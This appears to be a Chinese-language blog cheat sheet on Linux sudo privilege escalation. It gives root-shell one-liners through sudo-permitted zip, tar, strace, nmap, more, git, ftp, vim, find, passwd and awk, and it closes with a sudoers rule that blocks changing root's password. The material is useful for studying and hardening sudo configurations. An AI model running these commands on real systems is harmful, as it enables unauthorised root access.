Fork me on GitHub

sudo提权

参考文献:http://zone.secevery.com/article/989
https://www.anquanke.com/post/id/158511

sudo概念:

sudo (Substitute User and Do 的简写)临时授权,可以临时让其以root 权限运行某个程序。在/etc/sudoers中设置了可执行sudo指令的用户。

各种提权操作

①su

1
test@ubuntu:/tmp$ sudo su - root

②zip

1
2
3
4
test@ubuntu:/tmp$ sudo zip /tmp/1.zip /tmp/test -T --unzip-command="sh -c /bin/bash"#1.zip是随手添加进去的一个zip文件
#-T 表示测试1.zip的完整性
# --unzip-command 与-T 一起使用,可以指定自定义命令用于解压1.zip
#可以自定义用于解压test.zip 的的命令,自定义解压命令是以root权限执行的,指定为sh -c /bin/bash, 获取一个root权限的shell

③tar

1
2
test@ubuntu:/tmp$sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
#–checkpoint-action 选项是提权点,可以自定义需要执行的动作,指定为exec=/bin/bash,获取一个root权限的shell

④strace

1
2
test@ubuntu:/tmp$sudo strace -o/dev/null /bin/bash
#strace 以root权限运行跟踪调试/bin/bash, 从而获取root权限的shell

⑤nmap

1
2
test@ubuntu:/tmp$ echo "os.execute('/bin/sh')">/tmp/shell.nse
test@ubuntu:/tmp$ sudo nmap --script=/tmp/shell.nse

⑥more

1
2
test@ubuntu:/tmp$sudo more /etc/rsyslog.conf
然后加上!/bin/bash 即可获取root权限的shell

⑦git

1
2
test@ubuntu:/tmp$sudo git help status
然后加上!/bin/bash 即可获取root权限的shell

⑧ftp

1
2
test@ubuntu:/tmp$ sudo ftp
ftp> !/bin/bash

⑨vim

1
test@ubuntu:/tmp$ sudo vim -c '!sh

⑩find

1
2
test@ubuntu:/tmp$ sudo find /bin/ -name ls -exec /bin/bash \;
#对于find 检索到的每一个结果,都执行/bin/bash, 是以root权限执行的

⑩①passwd

1
2
3
test@ubuntu:/tmp$ sudo passwd
Enter new UNIX password:
Retype new UNIX password:

⑩②awk

1
test@ubuntu:/etc$ sudo awk 'BEGIN {system("/bin/bash")}'

防止有sudo权限的普通用户修改root用户的密码

/etc/sudoers添加:

1
2
test  ALL=(root)     !/usr/bin/passwd, /usr/bin/passwd [A-Za-z]*, !/usr/bin/passwd root
#用户账号,登陆来源的主机名,可切换的身份,可执行的命令

-------------本文结束感谢您的阅读-------------